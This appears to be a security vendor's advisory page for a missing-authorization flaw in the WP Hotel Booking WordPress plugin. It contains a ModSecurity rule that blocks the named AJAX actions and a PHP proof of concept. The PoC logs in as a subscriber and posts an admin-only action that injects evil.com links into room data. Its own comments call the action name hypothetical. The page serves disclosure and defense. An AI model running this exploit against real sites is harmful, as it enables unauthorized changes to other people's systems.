-		// use WP_Hotel_Booking::instance() return null active hook
-		$tabs[] = include 'settings/class-wphb-admin-setting-general.php';
-		$tabs[] = include 'settings/class-wphb-admin-setting-pages.php';
-		$tabs[] = include 'settings/class-wphb-admin-setting-emails.php';
-		$tabs[] = include 'settings/class-wphb-admin-setting-payments.php';
-		$tabs[] = include 'settings/class-wphb-admin-setting-room.php';
-		$tabs[] = include 'settings/class-wphb-admin-setting-advanced.php';
-
-		return apply_filters( 'hotel_booking_admin_setting_pages', $tabs );
-	}
-
-	// save setting
-	public static function save() {
-	}
-
-	// render field
-	public static function render_fields( $fields = array() ) {
-		if ( empty( $fields ) ) {
-			return;
-		}
-		foreach ( $fields as $k => $field ) {
-			$field = wp_parse_args(
-				$field,
-				array(
-					'id'          => '',
-					'class'       => '',
-					'title'       => '',
-					'desc'        => 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9822
# Block unauthorized AJAX requests exploiting missing capability checks in WP Hotel Booking
# This rule targets the specific AJAX action that subscribers should not be able to access

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20269822,phase:2,deny,status:403,chain,msg:'CVE-2026-9822 - WP Hotel Booking Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-9822',tag:'wordpress',tag:'wp-hotel-booking'"
  SecRule ARGS_POST:action "@rx ^wphb_save_room_external_link$|^wphb_add_external_link$|^wphb_delete_external_link$|^wphb_save_room_meta$|^wphb_booking_setting$|^wphb_save_setting$" "chain"
    SecRule REQUEST_HEADERS:X-Requested-With "@contains XMLHttpRequest" "chain"
      SecRule ARGS_POST:_wpnonce "@rx ." "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9822 - WP Hotel Booking < 2.3.1 - Missing Authorization

// Configurable target URL
$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'subscriber'; // Attacker's subscriber-level username
$password = 'password'; // Attacker's password

// Step 1: Login to WordPress as a subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}
curl_close($ch);

// Check if login succeeded by looking for admin bar in response
if (strpos($response, 'wordpress_logged_in') === false && strpos($response, 'admin-bar') === false) {
    echo "[!] Login may have failed. Check credentials.n";
} else {
    echo "[+] Login successful as subscriber.n";
}

// Step 2: Try to access a vulnerable AJAX action that lacks capability checks
// This example uses a common pattern; adjust the action name based on actual vulnerable endpoints
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'wphb_save_room_external_link', // Hypothetical vulnerable action
    'room_id' => 1,
    'external_links' => json_encode(array(
        array(
            'icon_url' => 'http://evil.com/icon.png',
            'title' => 'Malicious Link',
            'external_link' => 'http://evil.com'
        )
    ))
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('AJAX request failed: ' . curl_error($ch) . "n");
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Evaluate the response
if ($http_code == 200 && !empty($response)) {
    echo "[+] AJAX request succeeded (HTTP 200). The vulnerable action was executed.n";
    echo "[+] Response: " . substr($response, 0, 500) . "n";
    echo "[!] Vulnerability confirmed: Subscriber was able to execute admin-level action.n";
} elseif ($http_code == 403 || $http_code == 401) {
    echo "[-] Request blocked (HTTP $http_code). The site may be patched.n";
} elseif ($http_code == 400) {
    echo "[-] Bad request. The action might not exist or parameters are wrong.n";
} else {
    echo "[?] Unexpected HTTP status: $http_code. Response: " . substr($response, 0, 200) . "n";
}

// Clean up cookie file
if (file_exists('/tmp/cookies.txt')) {
    unlink('/tmp/cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School